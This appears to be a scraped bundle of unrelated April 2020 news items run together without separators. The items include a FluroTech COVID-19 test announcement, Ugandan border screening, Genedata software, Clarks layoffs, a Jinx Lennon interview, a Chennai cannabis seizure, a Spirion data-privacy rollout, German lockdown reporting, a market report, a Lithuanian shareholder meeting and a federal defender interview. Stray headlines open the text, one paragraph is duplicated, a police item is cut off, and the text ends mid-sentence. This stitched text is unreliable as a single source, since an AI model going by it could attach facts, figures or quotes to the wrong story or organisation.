Skip Theatrical Release & Premiere Directly On Disney+Hotstar? Akshay Kumar Compares Lockdown To Salman's Bigg Boss: The Winner Is That Person Who'll Stay At Home CALGARY, Alberta, April 28, 2020 (GLOBE NEWSWIRE) -- FluroTech Ltd. (TSXV: TEST) (OTCQB: FLURF), is pleased to provide an update on its business strategy as it relates to the development of a COVID-19 analytical testing device. The scope of FluroTechs contribution along with its equity participation is still being determined; however, its share in FluroTest is currently expected to be in the range of 30% to 40%. The partnership and the development of the testing device is subject to financing. As previously disclosed, the CompleTest adaptation is expected to take approximately three months with trials planned shortly thereafter. We caution that FluroTest is taking the existing technology developed by FluroTech (the Platform Technology) and looking to adapt that technology to be able to test for COVID-19. We are still in the early stages of research and development and accordingly are not currently making any express or implied claims that the technology can, or will be able to, accurately diagnose the COVID-19 virus. FluroTest plans to complete a financing and enter into partnerships with strategic partners, including manufacturers and contact tracking companies. FluroTest is a development stage, Delaware limited liability corporation initially formed with several strategic partners, including Alberta BioPhotonics Ltd. (ABP), FluroTech and the medical college based in Albany, NY. The Companys goal is to utilize specific fluorescence-labeled antibodies to target a specific virus and/or labeled virus components, which FluroTest believes can result in, among others, the following four potential outcomes: Rapid detection and identification of a specific virus using an easier and safer method to obtain saliva samples; Quantification of the viral load in such sample; Development of an antibody test for the detection and quantification of specific antibodies in the population; in order to determine if immunity has been developed; and Development of a novel methodology that can be applied to rapidly detect, identify, and test new future viruses and associated antibodies with a low-cost, point of care kit. Story continues FluroTest believes that these four possible outcomes could be accomplished through the deployment of a test at the point of care (POC) in a short period of time, which based on the currently commercialized Platform Technology, may be as fast as 15 minutes after sample collection. FluroTests technology development efforts require expertise in spectroscopy and fluorescence as well as immunology and virology. This initiative is a collaborative effort between U.S. and Canadian scientists. FluroTest believes that the fluorescence signal of small labeled specific binding molecule such as an antibody can be precisely measured and will only change upon binding to its target, in this case the COVID-19 virus. The magnitude of the change will provide information about the viral load range. Inversely, virus proteins, virus like particles or any other relevant viral macromolecule can be labeled and used as target for antibodies that were developed during the immune response of patients. If successful, FluroTest believes that this single platform could produce reliable, fast, low level, and quantifiable values of both the COVID-19 virus and the immune response antibodies created by it. This should quickly determine if the patient had the virus, and if so, what stage it was in and if immunities were already developed. FluroTechs advances in combining their fluorescence hardware and knowledge of antibody detection in the CBD/THC field, partnered with the expertise of acclaimed researchers at the medical center based in Albany specializing in immunology and microbial diseases, leads the FluroTest team to believe that it can enable the CompleTest platform to be readily adapted to examine the current and future viral strains and associated antibodies. FluroTests goal and belief is that as this new world order evolves there will be a need for more than just negative/positive testing protocol and that this current pandemic may continue for some time with several waves and mutations over time, as is observed with seasonal influenza. Dr. Elmar Prenner, PhD and Senior Science Advisor of FluroTech, has helped prepare and approves the scientific information in this news release. About FluroTech (TSXV: TEST) (OTCQB: FLURF) FluroTechs proprietary spectroscopy-based technology allows for the testing and identification of organic and inorganic compounds contained within biological samples for specific applications. Using technology that was first developed at the University of Calgary, FluroTech has created a two-part solution comprised of its CompleTest platform technology and consumable testing kits. Its accuracy has been independently validated. FluroTech continues to develop additional applications for the CompleTest platform technology. To learn more, visit FluroTech.com. About FluroTest LLC FluroTest is seeking additional capital in the near-term and will also be exploring strategic partnerships with manufacturing and distribution companies to advance the deployment of the new test thats being developed. To learn more, visit FluroTest.com. About Alberta BioPhotonics Inc. Alberta BioPhotonics Inc. focuses on identifying market opportunities to commercialize its proprietary spectroscopy-based technology. ABP is controlled by some of the same officers and directors as FluroTech and currently holds approximately 33% of the common shares of FluroTech. Contact Information FluroTech FluroTest Danny Dalla-Longa William P. Phelan Chief Executive Officer Chief Executive Officer 403.680.0644 518.369.4902 Danny@FluroTech.com info@flurotest.com FluroTech.com FluroTest.com This news release does not constitute an offer to sell or a solicitation of an offer to buy any of the securities. The securities described herein have not been and will not be registered under the United States Securities Act of 1933, as amended, or the securities laws of any state and may not be offered or sold within the United States or to or for the benefit or account of U.S. persons, absent such registration or an applicable exemption from such registration requirements. Cautionary Statement Regarding Forward-Looking Information This news release contains "forward-looking information" within the meaning of Canadian securities legislation. Forward-looking information generally refers to information about an issuers business, capital, technology or operations that is prospective in nature, and includes future-oriented financial information about the issuers prospective financial performance or financial position. The forward-looking information in this news release includes disclosure about the formation of FluroTest and the capital structure thereof, the ability to adapt FluroTechs CompleTest platform technology to test for viruses, including COVID-19, as well as accurately determining viral load, the ability to adapt the technology to allow for the detection of specific anti-SARS-CoV-2 human antibodies in a patients blood sample, and the speed and accuracy of such testing, the need for financing of FluroTest in the near term and the formation of strategic partnerships for the deployment and distribution of the technology. The Company made certain material assumptions, including but not limited to prevailing market conditions and general business, economic, competitive, political and social uncertainties, as well as the ability to adopt the CompleTest technology as described herein in a timely manner and to obtain the financing required in connection with the same, to develop the forward-looking information in this news release. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. Actual results may vary from the forward-looking information in this news release due to certain material risk factors described in the Corporations Annual Information Form under the heading Risk Factors and the failure to adapt the CompleTest technology as contemplated herein in a timely manner or at all, the risk that competitors will develop a similar or superior testing platform, the technology not having the anticipated testing benefits, the inability of FluroTest to obtain the necessary financing to achieve its purpose on satisfactory terms or at all, the failure to form strategic partnerships necessary to deploy and distribute the technology. The Company cautions that the foregoing list of material risk factors and assumptions is not exhaustive. The Company assumes no obligation to update or revise the forward-looking information in this news release, unless it is required to do so under Canadian securities legislation. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy of this release. MUTUKULA The parliamentary committee on COVID-19 has on Monday, April 27 visited the Mutukula border as several truck drivers continue to test positive for the deadly virus in Uganda. The MPs include Hon Arinaitwe Katambuka Rwakajara (Workers MP), Hon Francis Mwijukye (Buhweju County MP), Hon Eshter Anyakun (Nakapiripirit Woman Representative) and Hon Bernard Atiku (Ayivu County, Arua). According to legislators, truck drivers are not quarantined as its being alleged. Truck drivers when they park trucks they mix with Ugandans and Tanzanians as they wait to be tested, said the MPs These have tasked the Ministry of Health to leave Kampala offices and intervene in the problem. The disappointed legislators revealed that The truck drivers were seen moving freely in Uganda mixing with Ugandans freely before even being tested and Health workers meant to screen the transit cargo truck drivers at Mutukula border are few. The Kyotera District Health Officer Dr. Edward Muwanga told MPs that only 10 health workers are deployed at the border. He said that they have been overwhelmed by the big number of truck drivers being screened for COVID-19 pandemic at the border. Hon. Mwijukye said I witnessed Ugandans cross to Tanzania to work in markets and buy foodstuffs freely and at the same time Tanzanians come to Uganda freely without any Restrictions. MPs want concerned authorities to intervene with immediate effect and have a joint operation along the Uganda-Tanzania border in terms of awareness along the border communities to minimize the free interaction of people along the borderline. Related TLA, together with Genedata Selector, enables our customers to scale up their cell line development processes and generate results of the highest quality Genedata, the leading provider of enterprise software solutions for biopharmaceutical R&D, today announced the availability of Genedata Selector for automating the Targeted Locus Amplification (TLA) data analysis workflow. The software solution is the result of a close collaboration with Cergentis, an innovative leader in the genomics space and the developer and provider of the TLA technology, together with joint customers in the biopharmaceutical industry. The cutting-edge TLA technology is used during cell line development to standardize and speed up the clone selection process. With TLA, Cergentis provides a cost-efficient, high resolution technology to determine transgene integration sites and detect single nucleotide and structural variants in the transgene sequence, as well as structural changes in and surrounding transgene sequences. This information is highly relevant to quickly assess the quality of cell line clones during cell line development. TLA also detects sequence changes resulting from targeted genome editing (such as CRISPR) and/or targeted transgene integrations. As the technology is now being implemented in many biopharmaceutical R&D organizations to speed and scale up the experimental throughput, the need has emerged for a scalable computational solution that allows customers to rapidly analyze their own TLA data to accelerate decision making during the cell line development process. Besides scalability, key requirements for such a computational solution are workflow integration from sample registration to reporting, plus ease of use from the perspective of a scientist. Genedata Selector is the first-in-class software platform that satisfies these key requirements. Providing an end-to-end solution, it offers sample registration capabilities and includes the option of full automation of the highly complex sequence data analysis process. Intuitive visualizations enable quick decision making and can be easily integrated into reports used for regulatory purposes. Highly cost- and time-efficient, Genedata Selector: offers full automation of the data analysis workflow, speeds up complex analysis workflows, enables high experimental throughput, and delivers data analysis results without the need for special data analysis expertise; maintains a full track record of analyzed clones, including clone hierarchies, with audit trail functionality that allows deployment in a regulatory-compliant environment; reduces by orders of magnitude the analysis time from project initiation to reporting of results; can be deployed on premises as well as under a Managed SaaS model. Genedata developed a push button system including a fully integrated analysis pipeline, to allow our customers in cell line development to get a comprehensive analysis report, including visual representation of integration sites, said Max van Min, Founding Director of Cergentis. Our customers now have available a computational platform that supports our market-leading TLA technology and enables them to significantly increase the number of clones analyzed, thereby increasing the efficiency of their quality control and cell line development workflow. We are very pleased with our collaboration with Cergentis, a highly innovative company providing services and kits to improve the efficiency of cell line development. With Genedata Selector we now provide a solution that fully supports the deployment of their TLA technology, said Othmar Pfannes, Ph.D., Founder and CEO of Genedata. TLA, together with Genedata Selector, enables our customers to scale up their cell line development processes and generate results of the highest quality. This is another example of how Genedatatogether with other technology leaderssupports our customers in the biopharma industry to increase the efficiency of R&D. About Genedata Genedata transforms data into intelligence with innovative software solutions and domain-specific consulting services that automate complex, large-scale experimental processes and enable organizations to maximize the ROI in their R&D, spanning early discovery all the way to the clinic. Founded in 1997, Genedata is headquartered in Switzerland with additional offices in Germany, Japan, Singapore, the UK, and the US. http://www.genedata.com LinkedIn | Twitter | YouTube ________________________________________ Contact Miles Fisher-Pollard Genedata Public Relations Phone: +41 61 511 85 61 pr@genedata.com Disclaimer The statements in this press release that relate to future plans, events or performance are forward-looking statements that involve risks and uncertainties, including risks associated with uncertainties related to contract cancellations, developing risks, competitive factors, uncertainties pertaining to customer orders, demand for products and services, development of markets for the Company's products and services. Readers are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date hereof. The Company undertakes no obligation to release publicly the result of any revisions to these forward-looking statements that may be made to reflect events or circumstances after the date hereof or to reflect the occurrence of unanticipated events. All product and service names mentioned are the trademarks of their respective companies. A midstate distribution center has laid off more than 100 people as a result of the government shutdown due to COVID-19. Clarks Americas Inc. filed a WARN (Worker Adjustment and Retraining Notification) notice with the state last month. The shoe retailers distribution facility is located at 355 Kindig Lane in Conewago Township, Adams County near Hanover. There all 121 employees affected by the layoff that took place on March 19, a day after the company announced it was closing all of its U.S. stores including a store in Susquehanna Township and a store in Derry Township. Company officials couldnt be reached for comment. The retailer is still selling shoes on its website. Earlier this month, the company announced it was donating 5,000 shoes to front line medical personnel. READ MORE: The WARN Act is federal legislation that offers protection to workers, their families and communities by requiring employers to provide notice 60 days in advance of a covered-business closing and covered-business mass layoff. However, due to the immediate closure of many businesses in Pennsylvania, companies were not able to provide 60 days notice. Enforcement of the WARN Act falls under U.S. Department of Labor jurisdiction, according to the Pennsylvania Department of Labor & Industry website. Clarks was one of a number of companies in the state that announced a large layoff through the WARN program this month and last month. Many of the layoffs are related to COVID-19. --Sign up for PennLives newsletters Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. You can follow Daniel Urie on twitter @DanielUrie2018 and you can like PennLives business page on Facebook at @PennLiveBusiness One of Dundalks more unique talents, Jinx Lennon released a brand new album just as the world shuttered itself away and everything seemed to cave in around us. Not exactly the soundest business decision, youd imagine. But, Covid-19 and the almost apocalyptic-like impact on music gatherings and music in general, doesnt seem to phase him. Remarkably, Jinx is now 56-years-old, but you wouldnt think it by listening to his urban poetry tunes and the socially-conscious themes of his songs - both old and new. Theres a nagging desire to break new ground, both technology-wise and content-wise. The pandemic hasnt halted this search for something new and different. He is, however, also a realist, especially when it comes to how he thinks this whole situation will go down. I guess some people are more in tune with the advantages of doing live streaming and internet shows than others, he proffers, when musing on the impact on musicians. If you are a musician and you believe in what you are doing, youll find a way to get on with it. I get a sense that musicians hope this will pan out very soon. I still cant see things picking up until at least the autumn. While many in his industry will wince at that assessment, Jinx takes it in his stride. If anything, hes busier than ever. I have loads of new material that has been influenced by the lockdown and Covid-19 situation on a local level, because for me the local becomes the universal. Its more important to send out something uplifting that deals with it head on. I am currently in the last stages of the follow-up album which will be a proper psychedelic folk guitar record and I've been able to do a lot of it at home because myself and Chris Barry the producer/engineer had recorded all the songs at his studio in Drumcondra before the Covid crisis hit, so I was able to add instruments on Pro-logic X on my Mac to the bedrock of the studio songs and send it off to Chris to mix. Im really happy with the sound of it so far. But come now, it cant all be so positive, surely theres been a hit caused by Covid-19? I had a tour booked and I had to postpone an Eventbrite ticketed show in Thomas House in Dublin on May 1, which I was worried about, but most venue managers are quite understanding and Kev who runs Thomas House put it back to November for me no problem and I could refund people who didn't want to wait till November. There is a sense of solidarity. I find that especially in Dundalk, that there is solidarity amongst local musicians, a lot of whom have bought my new LP, he adds. Many musicians - local and international - have taken to performing for fans online, Jinx dipped his toe in that for a bit, but new music and new songs are all-consuming. I have recorded several things by phone for different online performance outlets. Im still writing a lot and the fact that I've been able to concentrate on the next album has made a difference. I still don't find enough time to get what I want done yet, which isn't a bad complaint. His new album Border Schizo Fffolk Songs for the Fuc**d has, despite the pandemic, received glowing praise across the national press, with Tony Clayton-Lea of the Irish Times calling it Jinxs best work yet, but the Dundalk musician was confident of its quality before it came out. We recorded it in two days, myself and Sean Bradley and Ben Reel - the producer/sound engineer - at Ben's place in Silverbridge last February 2019. Then I spent the rest of the year getting it right sound-wise. I knew it was good, but I was surprised by the great reviews. It does make a difference, especially when the critics sound like they actually listened to the content which I felt was true this time. Tony Clayton Lea and Steve Cummins gave it a great thumbs up. A promo video for single LIVE NORTH LOUTH, released online, worked a treat in spreading the word. Still, it was very much a collaborative effort and Jinx is quick to praise those that jumped on board. The video LIVE NORTH LOUTH, of course, kicked it all off. Niall Mc Cann and the lads made a great video for me. Having great musicians guesting on the album like Sean Quigley, Sharon Mc Ardle, Conall Duffy and the Hendy Brothers made a big difference and then Heather Oakes organised the children's choir for "Pink Ice Cream and Aeroplanes" which was brilliant. Gregory Dunne and David Manning did the photos and I did the artwork myself, like I've done for the last few albums. Does he think there will be a lot of musicians using the crisis as a theme in their future work? I can probably see the more socially conscious musicians, like rappers will have a few rhymes about these times. I have a few songs about it anyways, some of the new ones: Masks Masks Masks, Stand 10 feet back, Enjoy your Avacado Now, Wobbly People. The writing never stops with me anyways. At a time when liquor shops across India are closed and tipplers are trying different ways an means to get a high, a parcel containing foreign Cannabis from the US was to reach an individual in Annavaram, East Godavari district of Andhra Pradesh. However, shortly after making its way to the Foreign Post Office in Chennai, the contraband was seized by Customs authorities. The consignor had declared the parcel to contain sleeping bags and hand vacuum but oil further examination the parcel revealed two sleeping bags and a branded carton of a hand vacuum cleaner. On opening the red sleeping bags, two plastic bags containing greenish dried flower pods were found concealed in each bag. In the carton box there was no vacuum cleaner but four plastic bags containing greenish dried flower pods were found concealed inside. On opening the 8 bags, a strong weedy smell similar to Cannabis of high quality was noticed. The contraband was identified as cannabis of foreign origin, weighing 1.7kg, valued at Rs. 9 lakhs. It was seized under the NDPS Act, 1985. This seizure is being regarding as a very rare one at a time when International and domestic flights are suspended, due to a nationwide lockdown that is in place since March 25th. This was a registered parcel and the Consignor was a company and the consignee was an individual in Andhra Pradesh. This is our first seizure during the lockdown period. Contraband does get caught at the Foreign post office, we had made seizures of lethal drugs in the recent past as well. But in this case the drug is coming from the USA, where it is legalized in many states. Now is also a time when there are less seizures of banned substances as there is comparatively limited cargo coming in, of which most are PPEs, life-saving medicines and medical goods Rajan Chaudhary, Commissioner of Customs Chennai Airport told WION. The parcel was consigned from Vancouver city in Washington State of USA. The use of Cannabis for recreational purpose is legal in eleven states of USA including Washington. Cannabis is a psychotropic substance commonly known as weed, herb, grass, ganja, containing psychoactive chemical delta-9-tetrahydrocannabinol(THC). On smoking THC stimulates the brain and it responds to pleasure and unleashes dopamine which gives a euphoric, relaxed feeling. In view of suspension of functioning of courts for routine cases during the lockdown period and according to the instructions laid down by the City Civil Court, a petition for submission of case property and samples for analytical examination have been mailed to the designated court. As a follow up action, searches were got carried out at the address of the consignee by jurisdictional Customs in Andhra Pradesh and further action is being taken to nab the persons involved. Spirion is extremely powerful, giving us full visibility into where all of our sensitive data lives and surfacing identity-centric data, bank account numbers, and confidential budget information in hard-to-find files located on several computers. Spirion, a pioneer in building solutions that enable companies around the globe to take the critical first step towards data security and privacy, today announced the successful roll-out of its Sensitive Data Manager solution at Illinois College, one of the nations top liberal arts schools. The 191-year old institution turned to Spirion to take its data privacy and compliance programs to the next level, effectively moving them beyond the manual identification and securement of sensitive student data to an automated and persistent approach. The resulting solution has given the colleges small IT staff greater agility, helping them to comply with new regulations, such as the Gramm-Leach-Bliley Act, which now requires auditing to ensure safeguards are in place to protect students personally identifiable information (PII). In preparing for their upcoming audit, Illinois College needed to identify where the personal information of students and their guardians resided so they could ensure its protection. The critical first step they took in automating the colleges security and compliance programs was to deploy Spirion solutions. The system scanned 28 terabytes of data on servers and approximately 250 faculty, staff and lab endpoints, performing highly accurate searches of both structured and unstructured data. The solution accurately and persistently discovers, classifies, and protects sensitive data campus-wide, from the network to the cloud, including students PII, protected health information, and credit card numbers. Spirion is extremely powerful, giving us full visibility into where all of our sensitive data lives and surfacing identity-centric data, bank account numbers, and confidential budget information in hard-to-find files located on several computers, said Marc Benner, Assistant Chief Information Officer at Illinois College. When it comes to protecting what matters most, we dont want fast and easy; we want accurate and persistent and thats what Spirion delivers. From GLBA to HIPAA, higher education institutions must comply with multiple data security regulations to protect an ever-expanding body of student and staff sensitive data, said Kevin Coppins, President and CEO at Spirion. We are pleased to provide the critical first step for Illinois Colleges security and compliance programs, helping to evolve their privacy practice to the next level. By giving Marc and his team greater data visibility, we can aid their strategic decisions for protection and actions while monitoring progress without burdening their IT staff or risking human error. Illinois College has followed a staged approach to automating its security and compliance programs. The first phase concentrated on getting all their data privacy processes automated through Spirions data discovery and persistent classification capabilities. The next stage, currently underway, will define and automate protection actions for data according to compliance regulations and campus rules. Such remediation will include electronically shredding unnecessary information and quarantining files to a more secure location. About Spirion Spirion (http://www.spirion.com) is a pioneer in designing the critical first step of data security and privacy through its data discovery, persistent classification, and behavior software and services. Since 2006, thousands of organizations across all industries worldwide have reduced their sensitive data footprint and proactively minimized the risks, costs, and reputational damage of successful cyberattacks and regulatory violations. The company was recently ranked by CIOReview magazine as one of the 20 Most Promising Compliance Technology Solution Providers of 2019 and was named a Grand Trophy Winner in the 16th Annual 2020 Info Security PG Global Excellence Awards. Twitter: @Spirion YARDLEY BOROUGH >> The Yardley Borough Police Department report the following incidents and arrests: WARRANT (DOMESTIC ASSAULT) >> At approximately 7:55 p.m. on January 11 a victim fleeing a domestic assault in her vehicle was entering the parking lot at police headquarters when her car was struck by another vehicle. The striking vehicle fled prior to police arrival. A follow-up investigation... By Thomas Seythal and Markus Wacket BERLIN (Reuters) - Germany's economy minister urged its 16 federal states on Monday to go slowly in lifting coronavirus restrictions to avoid the outbreak spreading further and possibly force them to reintroduce another round of lockdown measures. Under Germany's decentralised political system, the states have the power to implement and rescind the social distancing measures on which the federal government is relying to limit the contagion of the virus. By Thomas Seythal and Markus Wacket BERLIN (Reuters) - Germany's economy minister urged its 16 federal states on Monday to go slowly in lifting coronavirus restrictions to avoid the outbreak spreading further and possibly force them to reintroduce another round of lockdown measures. Under Germany's decentralised political system, the states have the power to implement and rescind the social distancing measures on which the federal government is relying to limit the contagion of the virus. Chancellor Angela Merkel is resisting pressure from business groups to ease restrictions more rapidly. Germany has had around 155,000 diagnosed cases of coronavirus, according to official figures published on Monday, but only 5,750 deaths, a far lower proportion of fatalities than Italy, Spain, France and Britain. "As a person who believes in fact-based decisions, I recommend to all of us to proceed very carefully in order not to be forced into eventually rescinding easing measures," Economy Minister Peter Altmaier, one of Merkel's closest allies, told Deutschlandfunk radio on Monday. Helge Braun, Merkel's chief of staff, wrote in a letter to lawmakers of the ruling coalition seen by Reuters that Germany should be optimistic. He added: "In the interest of the entire population, to avoid overburdening the health system in the long-term, it's too early to lift social distancing." The low death rate in Germany, Europe's largest and most pivotal economy, is attributed in part to it having imposed a strict lockdown earlier than other countries relative to when the first case was detected. Federal and state governments introduced the first lockdowns during the week beginning March 22, though the details and dates varied from state to state. The Robert Koch Institute for Infectious Diseases said on Monday that confirmed cases of COVID-19, the lung disease caused by the new coronavirus, had risen by 1,018 to 155,193. On Sunday cases increased by 1,737 and on Saturday they rose by 2,055. As the number of new infections has fallen, many businesses such as smaller stores or car dealerships have been allowed to reopen and some students are returning to schools. NOT SO FAST But a government spokesman poured cold water on any hopes that Berlin could soon decide on further steps to ease restrictions. A meeting of Merkel with premiers of the 16 states on Thursday will be too early to evaluate the effects of the current easing of coronavirus restrictions, the spokesman said. An important date for decisions would be a meeting on May 6, the spokesman said. He pointed to the fact that the effects of looser restrictions will only be visible 10, 12 or even 14 days after their implementation. Thomas Bareiss, the government's tourism czar, said travel and holiday restrictions would be eased only gradually and that the government wanted to help travel agencies, hotels and other firms by enabling voucher solutions for already booked trips. The current lockdown has cost Germany's tourism industry about 24 billion euros ($26.04 billion) in March and April alone, according to the sector's industry association, which wants immediate state aid for its smallest firms. Markus Soeder, the premier of Bavaria, which has imposed some of the strictest social distancing measures, said his state was only taking small steps towards relaxing lockdown in order not to jeopardise early successes in fighting COVID-19. Soeder told BR radio that 80% of the retail sector had reopened. "If it works out this week, we can think about a further easing," he added. Braun said authorities needed to take into account that the extent of the coronavirus outbreak varied from region to region. "This could mean that restrictions in certain regions have to be maintained or tightened up again after a period of easing," said Braun. He added that the federal government would monitor whether measures taken needed to be adjusted and that authorities would need to weigh which measures effectively stop the virus spreading and what social and economic costs they bring. (Additional reporting by Michelle Martin and Michael Nienaber; Editing by Mark Heinrich) This story has not been edited by Firstpost staff and is generated by auto-feed. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. According to a new research published by Polaris Market Research, the unified communications market is anticipated to reach over USD 186 billion by 2026. In 2017, the IT & telecom segment dominated the global market, in terms of revenue. North America is expected to be the leading contributor to the global market revenue during the forecast period. The growing need to improve workforce productivity, streamline enterprise communication, and provide a collaborative working environment has boosted the adoption of unified communication. The penetration of mobile devices, and increasing trend of BYOD further support the growth of this market. Additionally, the increasing demand of unified communication from small and medium enterprises has supported market growth over the years. Increasing investments by vendors in technological advancements coupled with growing demand for cloud-based unified communication services would accelerate the adoption of unified communication. However, growing concerns regarding data security, and lack of interoperability is expected to hinder market growth. Growing demand from emerging economies is expected to provide numerous growth opportunities in the coming years. Request for a sample of this research report @ https://www.polarismarketresearch.com/industry-analysis/unified-communications-market/request-for-sample The use of digital assistants and bots in unified communications is expected to increase in the coming years. Computer programs in the form of bots simulate conversation with users through chat windows and voice calls. They have the ability to perform a number of different automated tasks such as scheduling meetings, managing finances, and others. They also assist in successful use of unified communication tools. These bots could be used as an automated attendant monitoring the interactions on unified communication systems and offering instructions to users. North America generated the highest revenue in the market in 2017, and is expected to lead the global market throughout the forecast period. The presence of established telecom and cloud infrastructure in this region, and growing trend of BYOD drive the market growth in the region. The growing demand of mobile devices, and technological advancements further support market growth in the region. Asia-Pacific is expected to grow at the highest CAGR during the forecast period owing to growing demand of effective enterprise communication technologies in the developing countries of the region. The end-users in unified communications market include BFSI, IT & Telecom, healthcare, retail, education, travel and hospitality, and others. In 2017, the IT & Telecom segment accounted for the highest market share owing to increasing need to improve enterprise communication, and improve productivity. The demand for unified communication has increased from startups operating in this sector to improve workforce collaboration, and reduce costs. The increasing adoption of cloud-based unified communication in this sector is expected to support market growth in the coming years. Browse for full research summary: https://www.polarismarketresearch.com/industry-analysis/unified-communications-market The well-known companies profiled in the report include Cisco Systems Inc., Microsoft Corporation, Avaya Inc., IBM Corporation, Verizon Communications, Inc., Polycom, Inc., BT Group, Alcatel-Lucent, NEC Corporation, Unify GmbH & Co. KG, Plantronics Inc., and ShoreTel Inc. among others. These companies launch new products and collaborate with other market leaders to innovate and launch new products to meet the increasing needs and requirements of consumers. Unified Communications Market Size and Forecast, 2017-2026 by Platform Telephony Unified Messaging Conferencing Others Unified Communications Market Size and Forecast, 2017-2026 by Deployment Model On-Premise Cloud-Based Unified Communications Market Size and Forecast, 2017-2026 by End-User BFSI IT & Telecom Healthcare Retail Education Travel and Hospitality Others Unified Communications Market Size and Forecast, 2017-2026 by Region North America U.S. Canada Mexico Europe Germany UK France Italy Rest of Europe Asia-Pacific China India Japan Rest of Asia-Pacific Latin America Brazil Middle East & Africa Make Inquiry about this report @ https://www.polarismarketresearch.com/industry-analysis/unified-communications-market/inquire-before-buying About Polaris Market Research Polaris Market Research is a global market research and consulting company. We provide unmatched quality of offerings to our clients present globally. The company specializes in providing exceptional market intelligence and in-depth business research services for our clientele spread across different enterprises. We at Polaris are obliged to serve our diverse customer base present across the industries of healthcare, technology, semi-conductors and chemicals among various other industries present around the world. Contact us- Polaris Market Research Phone: 1-646-568-9980 Email: sales@polarismarketresearch.com Web: www.polarismarketresearch.com We hereby inform you that on the initiative and by the decision of the Board of AB Klaipedos nafta, legal entity code 110648893, registered address at Buriu str. 19, Klaipeda (hereinafter - the Company), an Annual General Meeting of Shareholders of the Company was convened on 28 April 2020 at 1:00 p.m. The meeting was held in the registered office of the Company at Buriu str. 19, Klaipeda. Annual General Meeting of Shareholders of the Company, held on 28 April 2020, adopted the following resolutions: Announcement of the Auditor's Report regarding the Financial Statements and Annual Report of the Company for the year 2019 to the shareholders: "The Auditor's Report regarding the Financial Statements and Annual Report of the Company for the year 2019 had been heard by the shareholders. Decision on this topic of the Agenda should not be taken." Announcement of the Annual Report of the Company for the year 2019 to the shareholders: "The Annual Report of the Company for the year 2019, as drafted by the Company, assessed by the Auditor and approved by the Board of A the Company had been heard. Decision on this topic of the Agenda should not be taken." Approval of the audited Financial Statements of the Company for the year 2019: "To approve the audited Financial Statements of the Company for the year 2019." Approval of the appropriation of profit (loss) of the Company for the year 2019: "To allocate the AB Klaipedos nafta profit in the following order: No. Ratios Amount, tEUR 1 Non-allocated profit (loss) at the beginning of the financial year as of 01-01-2019 - 2 Net profit (loss) for the financial year 7.947 3 Transfers from restricted reserves 87 4 Shareholders' contribution against losses - 5 Portion of the reserve of tangible fixed assets - 6 Profit for allocation (1+2+3+4+5) 8.034 7 Allocation of earnings to legal reserve 10 8 Allocation of profit to own shares acquisition - 9 Allocation of profit to other reserves - 10 Allocation of profit to dividends 7.947 11 Allocation of profit to tantiems - 12 Non-allocated profit (loss) at the end of the year 2019 carried forward to next financial year (6-7-8-9-10-11) 77 Approval of Remuneration Policy of AB Klaipedos nafta: "1.1. To approve the Remuneration Policy of AB Klaipedos nafta (enclosed); 1.2. To declare the "Guidelines on determination the remuneration for the activity in AB Klaipedos nafta collegial bodies", approved on 27-04-2018 in General Meeting of Shareholders (minutes No. J1-1) with its later amendments as revoked." The Company additionaly notes that Annual General Meeting of Shareholders of the Company decided to distribute Company's profit received in 2019 and allocate dividends to the amount of EUR 0.02 per share. The first day without rights (ex-date) from which the shares of the Company acquired on the stock exchange do not give right to receive dividends for 2019 is 12 May 2020. ATTACHED: Renumeration Policy of the Company. Jonas Lenksas, Chief Financial Officer, tel.: +370 694 80594 Attachment The Federal Defenders of New York is in the middle of a desperate fight over the timing and extent of federal prisoner releases spurred by the threat of the coronavirus. By the end of last week, only about 1,000 prisonersa tiny fraction of those eligible for early releasewere sent home from federal prisons. This was even after Attorney General William Barr issued a memo earlier this month ordering Bureau of Prisons officials to immediately maximize the release of those vulnerable to the virus. Advertisement David Patton, the executive director of the independent nonprofit organization that offers legal defense for indigent defendants and incarcerated people, says the chaos and confusion at the Justice Department got so bad last week that BOP officials told prisoners they were going home only to rescind that promise while family members were en route to prisons to pick up their loved ones. Those folks, furious and frustrated, anxious and afraid, were forced to turn around and go home. Advertisement Advertisement Advertisement BOP has at the very least sent mixed signals about release conditions as the number of COVID-19 deaths in federal prisons has risen, and the bureau has tried to play catch-up by, among other things, ramping up its testing of federal prisoners. First the feds said they would consider early release for a wide range of prisoners, even those who had served less than half the length of their sentences. Then they reversed that policy and said they would only consider early release for prisoners who had served at least 50 percent of their sentences. Advertisement Advertisement Then toward the end of last week, after a public outcry and more grim coverage of rising infection rates in prisons in Louisiana and Ohio, the feds appeared to reverse that policy yet again. Patton and his organization, and countless other defense attorneys across the country representing federal prisoners, have been trying to maneuver through these cycles as their increasingly desperate clients face the risk of infection and death. Patton walked me through what Federal Defenders of New York is seeing on the ground during an email interview. This conversation has been edited and condensed for clarity. Andrew Cohen: What was last week like for you as a federal defender? What details and policies and explanations and justifications are you seeing from federal prosecutors and wardens and other officials in the cases you are handling and supervising? Advertisement Advertisement David Patton: Ive been a public defender for nearly 20 years. Many of our lawyers have been public defenders for longer. Were experienced at seeing and struggling against a certain brutality in the system. But even with that as a baseline, the response by prosecutors and prison officials to COVID-19 has been hard to fathom. I dont know how to describe their behavior other than to say its cruel. And even for those of us who are experienced at seeing cruelty, its been hard to take. Advertisement Advertisement Take this latest example. The BOP told people that they were going home. These are people who have been imprisoned under the harshest of circumstances. They are locked down nearly 24/7. They are living in perpetual fear that they may contract a deadly disease and die in prison away from their family and loved ones. When they are able to talk to our lawyers, our lawyers have emotional, difficult discussions with them about their limited options. Advertisement Advertisement In the midst of all that anxiety and terror, a BOP official tells them: Were doing the right thing. Youre going home. Here, sign the paperwork. Your nightmare is over. Our clients tell their families. Our clients tell us. Its a miracle. I may just make it out of here. The families are ecstatic. Spouses and children and parents celebrate and make plans to pick up their loved ones. Our lawyers are thrilled: a rare bright spot in an ocean of misery. And then a few days later Never mind. Weve actually decided to change our criteria. Weve decided youre not going home after all. Just sit back down in that cell. Advertisement Advertisement For more than a month now, prosecutors have been opposing our bail and compassionate release petitions on the most callous grounds: Our clients are better off in jail and prison than out. Look at the low number of positive test results, judge. They are safer inside. Never mind that theres an infinitesimal amount of testing happening. At the Metropolitan Detention Center and Metropolitan 